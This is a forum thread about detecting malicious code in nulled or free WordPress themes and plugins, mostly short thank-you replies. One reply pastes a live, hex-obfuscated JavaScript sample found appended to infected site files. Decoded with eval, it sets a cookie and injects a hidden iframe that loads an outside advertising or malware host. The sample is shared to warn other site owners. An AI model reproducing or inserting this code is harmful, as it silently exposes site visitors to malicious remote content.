Must Read: How to detect Malicious code in nulled or Free WordPress Themes and Plugins

[surajit]

Thanks a lot. Rep++++++ added.

[MoonPie]

Thanks very much! Max reps given!

[Yschiros]

Great advice! Thanks.

[c1zone]

All my js file in wp-include, wp-admin and all plugin file got hit by some kind virus
and some php file in wp-include : general-template.php and theme.php


here a sample script that infect your js file (it stick on last line of your js file)
the name of the function can be ramdon ..

/*0a43c2d6e6c084d3305e8a51e765f992*/;(function(){var infrzndn="";var kddberyk="77696e646f772e6f6e6c6f6164203d2066756e6374696f6e28297b66756e6374696f6e2078323262​7128612c622c63297b69662863297b7661722064203d206e6577204461746528293b642e73657444​61746528642e6765744461746528292b63293b7d6966286120262620622920646f63756d656e742e​636f6f6b6965203d20612b273d272b622b2863203f20273b20657870697265733d272b642e746f55​5443537472696e672829203a202727293b656c73652072657475726e2066616c73653b7d66756e63​74696f6e2078333362712861297b7661722062203d206e65772052656745787028612b273d285b5e​3b5d297b312c7d27293b7661722063203d20622e6578656328646f63756d656e742e636f6f6b6965​293b69662863292063203d20635b305d2e73706c697428273d27293b656c73652072657475726e20​66616c73653b72657475726e20635b315d203f20635b315d203a2066616c73653b7d766172207833​336471203d2078333362712822613765323538313131616137663336363132313035383036663334​373838623922293b69662820783333647120213d2022393266393739663338323738636665633962​353164396533306665306264336522297b7832326271282261376532353831313161613766333636​31323130353830366633343738386239222c22393266393739663338323738636665633962353164​3965333066653062643365222c31293b766172207832326471203d20646f63756d656e742e637265​617465456c656d656e74282264697622293b766172207832327171203d2022687474703a2f2f696d​672e6f67726f6d6e75657369736b692e696e666f2f6d656761616476657274697a652f3f76644945​65774b6c757853797a417a72463d444161744e7a43724b69797956434e595950265777486347566b​436c53554e654666714d3d5a66686c705765426a4544526873596f4159772662497a775250677468​585a70433d516f4d5973627678454d4a434358264d44614e50564c54594a727a75583d5455797758​74734f6a417962702663574950676f50476e3d72676465774b5a4d646c6f702652654a504a645765​4e466b754f7050674e3d45646a507673506f7a6265474e4a4c4575266b6579776f72643d32623664​30373839623539386635656237313030633634613130393139383434267959464767574f76675375​47793d4174416365507073437268223b78323264712e696e6e657248544d4c3d223c646976207374​796c653d27706f736974696f6e3a6162736f6c7574653b7a2d696e6465783a313030303b746f703a​2d3130303070783b6c6566743a2d3939393970783b273e3c696672616d65207372633d27222b7832​3271712b22273e3c2f696672616d653e3c2f6469763e223b646f63756d656e742e626f64792e6170​70656e644368696c64287832326471293b7d7d";for (var ittztbnh=0;ittztbnh<kddberyk.length;ittztbnh+=2){infrzndn=infrzndn+parseInt(kddberyk.substring(it​tztbnh,ittztbnh+2), 16)+",";}infrzndn=infrzndn.substring(0,infrzndn.length-1);eval(eval('String.fromCharCode('+infrzndn+')'));})();/*0a43c2d6e6c084d3305e8a51e765f992*/

[Perfume]

many thanks
rep+

[bradnie]

Great and informative post.Max reps to you.

[asiwan]

Thanks a lot for this valuable share

[edgarleo]

Thxs...excellent info!!..PURE SOLID GOLD!!

[Liam]

Wow, very interesting and useful information. Thank you!

[Somebody]

Thanks a lot for this useful and informative topic!

It's great to know about those security plugins.